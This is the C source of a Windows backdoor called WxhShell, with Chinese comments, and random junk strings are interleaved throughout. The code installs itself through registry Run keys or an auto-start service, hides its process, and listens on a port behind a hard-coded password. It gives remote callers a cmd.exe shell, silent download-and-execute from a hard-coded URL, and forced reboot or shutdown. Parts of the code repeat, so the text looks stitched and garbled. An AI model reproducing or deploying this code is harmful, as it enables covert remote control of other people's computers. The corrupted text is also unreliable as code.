< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y_~otoSoY static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (Ap?ixrR_ )#`&[9d- HANDLE hProcess; bU/YU0ZIT PROCESS_BASIC_INFORMATION pbi; 2zuQeFsK Yvu?M8aK! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,/!^ZS* if(NULL == hInst ) return 0; #u +~ ^M HuQdQ*Q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vTIRydg2b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6` Aw!&{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z'|k M! Dt iM}=: if (!NtQueryInformationProcess) return 0; 0]^gT' oa`7ClzD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2(Aw if(!hProcess) return 0; Jje!*?&8X @Y}G,i if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /!`xqG# S6fbwZZMG CloseHandle(hProcess); T8yMaC oY7jj=z#T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tk>J
mcTw if(hProcess==NULL) return 0; M|{NC`fa 0s RcA -9 HMODULE hMod; @rF|WT char procName[255]; :H+8E5 unsigned long cbNeeded; MIh\z7gW z<.?8bd if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )lq+Gv[%F >2X-98, CloseHandle(hProcess); IaU%L6Q] &
x_
#zN] if(strstr(procName,"services")) return 1; // 以服务启动 Eh$1piJG BO%'/2eV return 0; // 注册表启动 -=ZDfM
} q;7DH4;t '|<S`,'#hg // 主模块 &:1q3gDm int StartWxhshell(LPSTR lpCmdLine) usC$NVdm { '}"&JO~vPj SOCKET wsl; S0}=uL#dt BOOL val=TRUE; Ys&)5j- int port=0; ;k,@^f8 struct sockaddr_in door; ? PpS4Rd 2waPNb| if(wscfg.ws_autoins) Install(); FW|_8q?}< 9PMIF9" port=atoi(lpCmdLine); |--Jd$ dj |"+Ufw^ if(port<=0) port=wscfg.ws_port; g!9|1z [+!&iN WSADATA data; E>`|?DE@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j0s$}FPUI o^m?w0 \ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5G$5d:[( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !e*T.
1Kz door.sin_family = AF_INET; 5HIQw9g6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); "M3;>"`G door.sin_port = htons(port); cLw|[!5:
Lw%_xRn) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [^^ Pl:+ closesocket(wsl); TwI'XMO;A return 1; bZ``*{I/ } JYv<QsD r4<aEj;l if(listen(wsl,2) == INVALID_SOCKET) { e[0"x.gu closesocket(wsl); `csZ*$7 return 1; ga(k2Q;y } <fV][W Wxhshell(wsl); }r!hm?e WSACleanup(); q6<P\CSHy< P,F
eF'J^ return 0; -4P `:bF o{^`Y } K Hgn d ez4g // 以NT服务方式启动 ]}p<P):hO VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ge<D}6GQ { ._Ww DWORD status = 0; _l"nwEs DWORD specificError = 0xfffffff; SD<a#S\o ,>8w|951' serviceStatus.dwServiceType = SERVICE_WIN32; )^+hm+27v serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~"NuYM#@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1hE{(onI serviceStatus.dwWin32ExitCode = 0; N_Kdi%q serviceStatus.dwServiceSpecificExitCode = 0; Vzo<ma^ serviceStatus.dwCheckPoint = 0; ;BYuNQr serviceStatus.dwWaitHint = 0; I~&9c/& -esQyLx hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -6~.;M 5 if (hServiceStatusHandle==0) return; P;mp)1C YRFz] status = GetLastError(); &I[` .:NJ if (status!=NO_ERROR) $/B~ bJC { l;L_A@B< serviceStatus.dwCurrentState = SERVICE_STOPPED; Pg{1' - serviceStatus.dwCheckPoint = 0;
E)ZL+( serviceStatus.dwWaitHint = 0; m}\QGtJ6 serviceStatus.dwWin32ExitCode = status; aWJj@',_ serviceStatus.dwServiceSpecificExitCode = specificError;
o?m/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); h /^bRs`; return; f-71`Pyb } l`i97P?/W \C h01LR" serviceStatus.dwCurrentState = SERVICE_RUNNING; 2E[7RBFY+\ serviceStatus.dwCheckPoint = 0; I[d<SHo serviceStatus.dwWaitHint = 0; ]JV'z< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]bY]YNt{7] } $Ery&rX. ovBmo2W/ // 处理NT服务事件,比如:启动、停止 xLDD;Qm, VOID WINAPI NTServiceHandler(DWORD fdwControl) g\
vT7x { r$}C<a[U switch(fdwControl) m!ueqV" { upL3M` case SERVICE_CONTROL_STOP: I
"~.p=' serviceStatus.dwWin32ExitCode = 0; G3%Ju= serviceStatus.dwCurrentState = SERVICE_STOPPED; sA77*T serviceStatus.dwCheckPoint = 0; j7k}!j_O{ serviceStatus.dwWaitHint = 0; +a1iZ bh { 8.Y|I5l7G SetServiceStatus(hServiceStatusHandle, &serviceStatus); aR/?YKA } RZ xwr return; =R|XFZ, case SERVICE_CONTROL_PAUSE: Y`Io}h G$ serviceStatus.dwCurrentState = SERVICE_PAUSED; vIbM@Y4
'? break; dK4rrO case SERVICE_CONTROL_CONTINUE: ]L7A$sTUQ serviceStatus.dwCurrentState = SERVICE_RUNNING; )AQ^PBwp break; 5UO+c(T case SERVICE_CONTROL_INTERROGATE: KP>9hEh break; ^}B,0yUu' }; }$4z$& SetServiceStatus(hServiceStatusHandle, &serviceStatus); +8T^q, } v|o{AL:ei ~~Ezt*lH // 标准应用程序主函数 ?!6Itkg int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $?G@ijk, { |f#hGk6 pX?3inQP%( // 获取操作系统版本 v/.'st2% OsIsNt=GetOsVer(); f,KB BBbG GetModuleFileName(NULL,ExeFile,MAX_PATH); cN8Fn4gq 'in%Gii // 从命令行安装 v#d\YV{I if(strpbrk(lpCmdLine,"iI")) Install(); %gh#gH N}K
[Q= // 下载执行文件 hEQyaDD; if(wscfg.ws_downexe) { ~<m^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @we1#Vz. WinExec(wscfg.ws_filenam,SW_HIDE); DylO;+ } C;N6",s! YAOfuas]j if(!OsIsNt) { [ 49Cvde^ // 如果时win9x,隐藏进程并且设置为注册表启动 7RL J HideProc(); MQ-u9=ys StartWxhshell(lpCmdLine); )ffaOS!\ } nQjpJ
/= else '\tI| if(StartFromService()) cR/Nl pX // 以服务方式启动 jTvcKm|q StartServiceCtrlDispatcher(DispatchTable); %+N]$Q else Pc`d]*BYi // 普通方式启动 )Y7H@e\1 StartWxhshell(lpCmdLine); VAz4@r7hkq ApXf<MAy return 0; 'z(Y9%+a } f
+{=##'0 gwRB6m$ <46&R[17M A iM ukd, =========================================== i}sAF/ G`Nw]_
Z_ 1^![8>u" "w'pIUQ3, ,PTM'O@aU# *9^8NY] " s)a-ky( 6]?mjG6 #include <stdio.h> 3' i6<
#include <string.h> E1eGZ&&Gd #include <windows.h> CO='[1"_5 #include <winsock2.h> gEd A
hfx #include <winsvc.h> e0zP LU} #include <urlmon.h> olE(#}7V u
]e-IYH #pragma comment (lib, "Ws2_32.lib") &Q883A
J #pragma comment (lib, "urlmon.lib") w\bwa!3Y Jr2yn{s=S #define MAX_USER 100 // 最大客户端连接数 ^v'kEsE^* #define BUF_SOCK 200 // sock buffer -G~]e6:zD #define KEY_BUFF 255 // 输入 buffer 4XjwU` wtTy(j,9 #define REBOOT 0 // 重启 .h-mFcjy #define SHUTDOWN 1 // 关机 d m8t~38 iBSM
\ n #define DEF_PORT 5000 // 监听端口 3%kUj 4>*=q*<V5E #define REG_LEN 16 // 注册表键长度 .|
4P
:r #define SVC_LEN 80 // NT服务名长度 4v\HaOk 9Da{|FyrD // 从dll定义API s6,~JF^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WigtTAh4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bC
`<A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z1mB Hz6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A@}5'LzL J\L'HIs // wxhshell配置信息 Vp/XVyL}R struct WSCFG { nqj(V int ws_port; // 监听端口 IzpE|8l char ws_passstr[REG_LEN]; // 口令 EZ)b E9 int ws_autoins; // 安装标记, 1=yes 0=no An.
A1y char ws_regname[REG_LEN]; // 注册表键名 xE:jcA
d$} char ws_svcname[REG_LEN]; // 服务名 1=R$ RI char ws_svcdisp[SVC_LEN]; // 服务显示名 4=L > char ws_svcdesc[SVC_LEN]; // 服务描述信息 L|CdTRgRCB char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k pgA2u7 int ws_downexe; // 下载执行标记, 1=yes 0=no n/_q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I%YwG3uR char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =!'9TS ~T_|?lU`R }; z9aR/:W} |]?f6^|4 // default Wxhshell configuration F1#{(uW struct WSCFG wscfg={DEF_PORT, q`*.F#/4c "xuhuanlingzhe", 5Z>a}s_i 1, $6rm;UH "Wxhshell", wpK1nA+7N "Wxhshell", ,1sbY!&ekL "WxhShell Service", J!uG/Us "Wrsky Windows CmdShell Service", "ko*-FrQ "Please Input Your Password: ", [bhKL5l 1, #
e?B "http://www.wrsky.com/wxhshell.exe", N%dY.Fk "Wxhshell.exe" C+NN.5No }; ``l*;} ${Un#]g // 消息定义模块 LCorT- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Q"andf char *msg_ws_prompt="\n\r? for help\n\r#>"; 6$urrSQ`N0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nwFBuP<LR char *msg_ws_ext="\n\rExit."; MQoA\ char *msg_ws_end="\n\rQuit."; duG!QS: char *msg_ws_boot="\n\rReboot..."; <P h50s4 char *msg_ws_poff="\n\rShutdown..."; Z@zo~*o char *msg_ws_down="\n\rSave to "; 7{m>W! 3``JrkPI char *msg_ws_err="\n\rErr!"; 5#.m'a) char *msg_ws_ok="\n\rOK!"; EO !,rB7I t2dsYU/ char ExeFile[MAX_PATH]; sX1DbEjj[o int nUser = 0; 9JA@m HANDLE handles[MAX_USER]; w"'
Pn`T int OsIsNt; |T<aWZb^= V4,Gt]4 SERVICE_STATUS serviceStatus; rfwJLl/
SERVICE_STATUS_HANDLE hServiceStatusHandle; )\1>)BJq `+,?%W) // 函数声明 L`nW&;w' int Install(void); 5A0]+)5E8 int Uninstall(void); j\ y! int DownloadFile(char *sURL, SOCKET wsh); t%qep| int Boot(int flag); =yod void HideProc(void); ^Q8yb*MN int GetOsVer(void); s5*4<VxQN. int Wxhshell(SOCKET wsl); `%Ih'(ne void TalkWithClient(void *cs); VIAq$iu7 int CmdShell(SOCKET sock); EH844k8
p int StartFromService(void); mjD^iu8? int StartWxhshell(LPSTR lpCmdLine); _&-d0'+ #}^waYAk) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v'hc-Q9+> VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0D,@^vw bK v`|]57?A // 数据结构和表定义 h@
lz SERVICE_TABLE_ENTRY DispatchTable[] = cEL:5*cAU} { ?}?"m:= {wscfg.ws_svcname, NTServiceMain}, [icD*N<Gc {NULL, NULL} x# 0?$}f< }; Qder8I D6VdgU| // 自我安装 SJiQg-+<Uf int Install(void) rj=as>6B { c,1 G+. char svExeFile[MAX_PATH]; }b2YX+/e$f HKEY key; [<XYU,{R strcpy(svExeFile,ExeFile); ]aPf-O* do8[wej<: // 如果是win9x系统,修改注册表设为自启动 /r7xA}se^ if(!OsIsNt) { ?}Zo~]7E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Ix@<$~i3F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =`+D/
W\[Y RegCloseKey(key); %,[,mW4l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V?EX`2S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mu\1hKq;B RegCloseKey(key); f-M:ap(O return 0; $OZ= L
} gAqK/9; } ?s2-iuMPd } ZUS-4'"$ else { Oi\ s /si<Fp)z // 如果是NT以上系统,安装为系统服务 #Vum SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s*rR>D: if (schSCManager!=0) dfFw6R { {Zc8,jm SC_HANDLE schService = CreateService 6k hBT'n ( 1hw.gn*JK> schSCManager, Vit-)o{zr wscfg.ws_svcname, JU)^b
V_ wscfg.ws_svcdisp, LuySa2, SERVICE_ALL_ACCESS, s~OcL 5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ky;[ SERVICE_AUTO_START, KJ+6Y9b1 SERVICE_ERROR_NORMAL, 0`E G-Hw svExeFile, 6Amt75RY NULL, k^cZePqE6d NULL, L-(bw3Yr> NULL, TU6s~ NULL, >5t!
Xt NULL eWFkUjz ); XR ..DVab if (schService!=0) 4`8s]X { M0$MK> CloseServiceHandle(schService); %np(z&@wi CloseServiceHandle(schSCManager); WK$\#>T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3VLwY!2: strcat(svExeFile,wscfg.ws_svcname); ?kR1T0lKkE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NFTv4$5d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rXW.F'=K6 RegCloseKey(key); 4w+AOWjd return 0; qy'-'UlIr } K9zr]7;th } vb^fx$V CloseServiceHandle(schSCManager); rN9qH } 9]v,3'QI } !L.R"8! ?3~t%Q` return 1; vb[0H{TT2 } '9!_:3[d\] (#y2RF8j // 自我卸载 g7! LX[ int Uninstall(void) C<_\{de|9 { xT 06*wQ HKEY key; &pY' Movm1*&= if(!OsIsNt) { ^'=[+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ))AxU!*. RegDeleteValue(key,wscfg.ws_regname); l<1zLA~G RegCloseKey(key); ]$drBk86bh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z-MQGqxR RegDeleteValue(key,wscfg.ws_regname); _".h( RegCloseKey(key); {ENd]@N* return 0; :#g.%& } fNLO%\G~2 } Z7bJ<TpZ } <P#BQt f else { [y8(v ~H H{n:R * SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rQl9SUs if (schSCManager!=0) d 0B`5#4 { bit|L7*14 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /Pextj< if (schService!=0) E0I/]0 { cD]H~D}M if(DeleteService(schService)!=0) { DY#195H CloseServiceHandle(schService); w4P;Z-Cd CloseServiceHandle(schSCManager); I8! .n return 0; /)kJ iV } \i+AMduAo CloseServiceHandle(schService); EPJ>@A>;D } `V9bd}M%~; CloseServiceHandle(schSCManager); H<|}pZ } .#~!w!T } 8XYxyOl "*HM8\ return 1; :| 9vMM^$ } ;"cQ)=s9Y @Y `Z3LiR$ // 从指定url下载文件 'yVe&5? int DownloadFile(char *sURL, SOCKET wsh) ]A }ZaXd { '4M{Xn}@ HRESULT hr; &Y^4>y% char seps[]= "/"; PESvx>: char *token; Je|:\Qk char *file; ?GH/W#{o) char myURL[MAX_PATH]; x%s1)\^A char myFILE[MAX_PATH]; .tKBmq0xo" Xps
\+l%i strcpy(myURL,sURL); YZ<zlU token=strtok(myURL,seps); qeFaY74S while(token!=NULL) ;:Z5Ft m { iT:i
'\~ file=token; ]2l}[
w71| token=strtok(NULL,seps); "8%$,rG1& } Zj -#"Gm aAe`o2Xs GetCurrentDirectory(MAX_PATH,myFILE); <.Zh{"$qo strcat(myFILE, "\\"); OK v2..8 strcat(myFILE, file); J-/w{T8: send(wsh,myFILE,strlen(myFILE),0); 9{4oz<U send(wsh,"...",3,0); [_jw8` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /RJ]MQ\*O if(hr==S_OK) 3\4e{3$ return 0; vv&< 7[ else 2H w7V3q return 1; A{4,ih"5 }j2;B 8j } >d`GNE t]0DT_iE // 系统电源模块 E} ]=<8V int Boot(int flag) #/ePpSyD { _IdW5G HANDLE hToken; `uMc.:5\ TOKEN_PRIVILEGES tkp; Q9AvNj>X
ilQ}{p6I if(OsIsNt) { g%Tokl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L754odc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;6 W[%{ tkp.PrivilegeCount = 1; Csy$1;"A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HI{q# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F?tWx+N<{ if(flag==REBOOT) { q6rkp f,Tl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,+IFV return 0; S'^ q } "f
89 else { |hj!NhBe if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (/nnN4\= return 0; DzMg^Kp } E9mu:T } 'm`}XGUBS else { .s>@@m- if(flag==REBOOT) { K"VcPDK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5?HwM[` return 0; 9,~7,Py } } }wRm ~ else { @gbW: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w>cqsTq return 0; Wcc4/:`Hu } [uGsF0#e } T8Mqu`$r c*7|>7C$i return 1; G=[<KtWa } -a@e28Y 3QBzyJWf // win9x进程隐藏模块 .-iW
T4Dn void HideProc(void) [/q
Bvuun { sQA_ 6]` AB\Ya4O"9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )%S@l<%@? if ( hKernel != NULL ) 'ux!:b" { q/zU'7%@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *]HnFP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ms5?^kS2O FreeLibrary(hKernel); s&pnB } 9s_^?q &*"*b\ return; LA_{[VWYp> } \~A qA!)6 e(/F:ZEh // 获取操作系统版本 !@ ]IJ"\ int GetOsVer(void) *GoTN { ssLswb OSVERSIONINFO winfo; g/f6N
z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XxMZU(5 GetVersionEx(&winfo); Dq~;h \=' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V'{\g|) return 1; UA*VqK)Y else ,DE>:ARZ return 0; Jn=;gtD-* } 2<B'PR-??y C`t@tgT // 客户端句柄模块 W9w*=W
)Z int Wxhshell(SOCKET wsl) @I-gs( { AvrvBz[ SOCKET wsh; .e0)@}Jv8> struct sockaddr_in client; bKmwXDv' DWORD myID; b9X*2pnWJ aR6F%7gvz while(nUser<MAX_USER) cQhr{W,Un { H}kSXKO8!8 int nSize=sizeof(client); nyi!D wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tXtNK2-1 if(wsh==INVALID_SOCKET) return 1; 8O]`3oa> z
mip handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MAkr9AKb, if(handles[nUser]==0) ^K"BQ~-w closesocket(wsh); $O*@Jg= else cg3}33Z;6 nUser++; $2h%IK>#G } 9}9VZ r? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J6s]vV q" -ymDRoi return 0; KWY_eY_| } "."(<c/3 0)Ephsw // 关闭 socket !Nx1I void CloseIt(SOCKET wsh) ?v
M9
! { ecs 0iW-, closesocket(wsh); +`GtZnt# nUser--; 3:nBl?G< ExitThread(0); %\<b{x# G } kd^H}k B ktRA // 客户端请求句柄 A/<u>cCW void TalkWithClient(void *cs) ]7Vg9&1` { ;9OhK71} TC/c5:)] SOCKET wsh=(SOCKET)cs; x']'ODs char pwd[SVC_LEN]; )
FR7t char cmd[KEY_BUFF]; ]w6Q? %'9 char chr[1]; =^u;uS[IW int i,j; { V6pC G~<UP(G while (nUser < MAX_USER) { GAgTy q5R|
^uf if(wscfg.ws_passstr) { }?9&xVh?\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZEI,9`t! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jj[6 oNKE1 //ZeroMemory(pwd,KEY_BUFF); fYUV[Gm i=0; =p'+kS+ while(i<SVC_LEN) { JnsJ]_< r+Ki`HD% // 设置超时 O<cP1TF fd_set FdRead; ;`#R9\C=h struct timeval TimeOut; :Mu*E5 FD_ZERO(&FdRead); swF{}S" FD_SET(wsh,&FdRead); t6nRg TimeOut.tv_sec=8; P'U2hCif TimeOut.tv_usec=0; @ye!? % int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Io.RT+slB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D8Fi{?A#FV d{4;qM# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y+ze`pL? pwd=chr[0]; [oTe8^@[ if(chr[0]==0xd || chr[0]==0xa) { !G;u
)7'v pwd=0; {o24A:M break; ^-Od*DTL } .}!.4J%q2 i++; +\Vm t[v } RHC ZP mF*x&^ie // 如果是非法用户,关闭 socket ~+dps i if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GjhTF| } !CYC7HeF 0M HiW= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ax=HDW} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T-%=tY+- Eu?z! while(1) { X@`a_XAfd R7bG!1SHl ZeroMemory(cmd,KEY_BUFF); /g<Oh{o8 xN-,gT'! // 自动支持客户端 telnet标准 g5B TZZ j=0; |HK:\)L% while(j<KEY_BUFF) { ZUQ
_u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Wr%usNxc cmd[j]=chr[0]; d<a|dwAeh if(chr[0]==0xa || chr[0]==0xd) { O{LCHtN cmd[j]=0; K29/7A/ break; C27:tyV } {]^Ixm-,f j++; }S/i3$F0~ } 1]7gYNzV" ]P?<2, // 下载文件 |ri)-Bk
, if(strstr(cmd,"http://")) { 9wWBE<}>u send(wsh,msg_ws_down,strlen(msg_ws_down),0); /d3Jd.l! if(DownloadFile(cmd,wsh)) E^i]eK*" send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3#G else eQbHf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Y%6y]8 } )dT@0Ys% else { J$3g3%t @ma(py switch(cmd[0]) { \Rny*px (&:gD4. // 帮助 dVQ[@u1, case '?': {
X06Lr!-% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e,U:H~+] break; ]Ox5F@ } BR2Gb~#T // 安装
po*G`b;v case 'i': { I^?tF'E if(Install()) g":[rXvId send(wsh,msg_ws_err,strlen(msg_ws_err),0); R+M&\ 5 else T D_@0Rd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z:,PwLU break; y}odTeq } C ^Y\?2h1 // 卸载 ~ nsb case 'r': { 4V,.Oi if(Uninstall()) $GJT send(wsh,msg_ws_err,strlen(msg_ws_err),0); x|6]+?l@6 else 6CY&pbR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %=aKW[uq] break; XIW0Z C } {D+mr[ % // 显示 wxhshell 所在路径 oh9
;_~ case 'p': { ?E([Nc0T char svExeFile[MAX_PATH]; P\jGySj strcpy(svExeFile,"\n\r"); JVE\{ e) strcat(svExeFile,ExeFile); & LE5'.s send(wsh,svExeFile,strlen(svExeFile),0); &R94xh%@( break; &|hK79D } :?t~|7O: // 重启 2c9?,Le/; case 'b': { ]b4WfIu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *M.xVUPr if(Boot(REBOOT)) 4%(Ji send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cx7-I0! else { !U^{`V jp[ closesocket(wsh); +hxG!o?O ExitThread(0); A6&*VD } d#ir=+o{h break; !J`lA } ZaFt4# // 关机
yayhL
DL case 'd': { Ed9Uw7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D|;O9iks# if(Boot(SHUTDOWN)) *%j$i_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=Vbs x else { %Y^J'' closesocket(wsh); oUv26t~ ExitThread(0); a{5SOe;; } #z `W ,^C break; ,erw(7}'. } ;5[KZ8j6Y // 获取shell 1vj/6L case 's': { F!omkN CmdShell(wsh); `9~
%6N?7# closesocket(wsh); "/W[gP[y% ExitThread(0); 3N7H7(IR break; )g0fN+Mb } {0zn~+ // 退出 OZ[ YB case 'x': { Yd^@Ei9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G=zWhqieh CloseIt(wsh); =&HLz
7| break; H];B?G';C } m~=~DMj // 离开 $<}c[Nm case 'q': { #~ u0R>= send(wsh,msg_ws_end,strlen(msg_ws_end),0); LFp "Waiv closesocket(wsh); o5 L ^ WSACleanup(); F@w; .e! exit(1); NTg@UT< break; IrLGAQ0 } qL(Q1O! } [ERZ".? } }lJ;|kx$
hp\&g2_S0W // 提示信息 ?^}30V:E if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
TCtZ2
<' } {zdMmpQF } c'2d+*[ rqdwQ return; \@LTXH. } ~wc:/UM| uV/5f#) // shell模块句柄 V~J5x >O int CmdShell(SOCKET sock) qQ&uU7,# { Cs'LrUB?=U STARTUPINFO si; ZL MH~cc ZeroMemory(&si,sizeof(si));
xmW~R*^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (\V
i_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "q@m6fs PROCESS_INFORMATION ProcessInfo; [K!9xM6 char cmdline[]="cmd"; Gr"CHz/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?1e{\XW return 0; ;JW_4;- } .])prp8 .n-#A // 自身启动模式 y8Va>ul"U int StartFromService(void) 7R+(3NU1A { 6b|?@ typedef struct I.2J-pu} { |{ jT+ DWORD ExitStatus; Jd2.j?P= DWORD PebBaseAddress; s27IeF3 DWORD AffinityMask; hsZ/Vnn` DWORD BasePriority; 39pG-otJ ULONG UniqueProcessId; L*nK>
+ ULONG InheritedFromUniqueProcessId; =bVPHrKNQ } PROCESS_BASIC_INFORMATION; >@ t C@rGa7 PROCNTQSIP NtQueryInformationProcess; R%E7 |NAG t^t% >9o static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; taQE
r2Zy static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YIU3}sJ! 5E:$\z; HANDLE hProcess; 5of3& PROCESS_BASIC_INFORMATION pbi; zM0NRERi =W(*0"RM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B5e9'X^
[ if(NULL == hInst ) return 0; p6VD*PT$& Z 6jEj9?O g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mf}M/Fh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?GhyVXS y. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8~sP{V% )8Va%{j if (!NtQueryInformationProcess) return 0; 9
